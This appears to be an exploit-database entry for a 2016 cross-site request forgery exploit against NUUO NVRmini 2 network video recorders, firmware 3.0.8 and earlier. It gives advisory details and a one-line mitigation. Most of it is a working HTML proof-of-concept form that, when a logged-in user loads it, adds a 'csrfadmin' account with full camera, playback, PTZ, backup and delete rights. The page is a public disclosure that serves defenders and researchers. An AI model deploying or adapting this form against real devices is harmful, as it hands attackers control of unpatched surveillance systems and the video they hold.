NUUO CSRF Add Admin Exploit

vendor:

NVRmini 2

by:

Gjoko 'LiquidWorm' Krstic

7,5

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: NVRmini 2

Affected Version From: <=3.0.8 (NE-4160, NT-4040)

Affected Version To: <=3.0.8 (NE-4160, NT-4040)

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: GNU/Linux 3.0.8 (armv7l), GNU/Linux 2.6.31.8 (armv5tel), lighttpd/1.4.28, PHP/5.5.3

2016

NUUO CSRF Add Admin Exploit

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

The application should verify the requests by implementing a random token in the request.

Source

Exploit-DB raw data:

<!--

NUUO CSRF Add Admin Exploit


Vendor: NUUO Inc.
Product web page: http://www.nuuo.com
Affected version: <=3.0.8 (NE-4160, NT-4040)

Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
functionality. Setup is simple and easy, with automatic port forwarding
settings built in. NVRmini 2 supports POS integration, making this the perfect
solution for small retail chain stores. NVRmini 2 also comes full equipped as
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
and RAID functions for data protection. Choose NVR and know that your valuable video
data is safe, always.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can be
exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.


Tested on: GNU/Linux 3.0.8 (armv7l)
           GNU/Linux 2.6.31.8 (armv5tel)
           lighttpd/1.4.28
           PHP/5.5.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5349
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5349.php


14.01.2016

-->


<!-- 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 -->
<html>
  <body>
    <form action="http://10.0.0.17/users_xml.php">
      <input type="hidden" name="&#95;password2" value="admin" />
      <input type="hidden" name="addusername" value="csrfadmin" />
      <input type="hidden" name="password" value="admin" />
      <input type="hidden" name="cmd" value="adduser" />
      <input type="hidden" name="group" value="poweruser" />
      <input type="hidden" name="displaygroup" value="power&#32;user" />
      <input type="hidden" name="magic" value="574" />
      <input type="hidden" name="liveacc" value="1&#44;2&#44;3&#44;4&#44;5&#44;6&#44;7&#44;8&#44;9&#44;10&#44;11&#44;12&#44;13&#44;14&#44;15&#44;16" />
      <input type="hidden" name="pbacc" value="1&#44;2&#44;3&#44;4&#44;5&#44;6&#44;7&#44;8&#44;9&#44;10&#44;11&#44;12&#44;13&#44;14&#44;15&#44;16" />
      <input type="hidden" name="ptzacc" value="1" />
      <input type="hidden" name="ioacc" value="1" />
      <input type="hidden" name="backupacc" value="1" />
      <input type="hidden" name="deleteacc" value="1" />
      <input type="hidden" name="emapeacc" value="1" />
      <input type="hidden" name="remotalkacc" value="1" />
      <input type="hidden" name="logacc" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>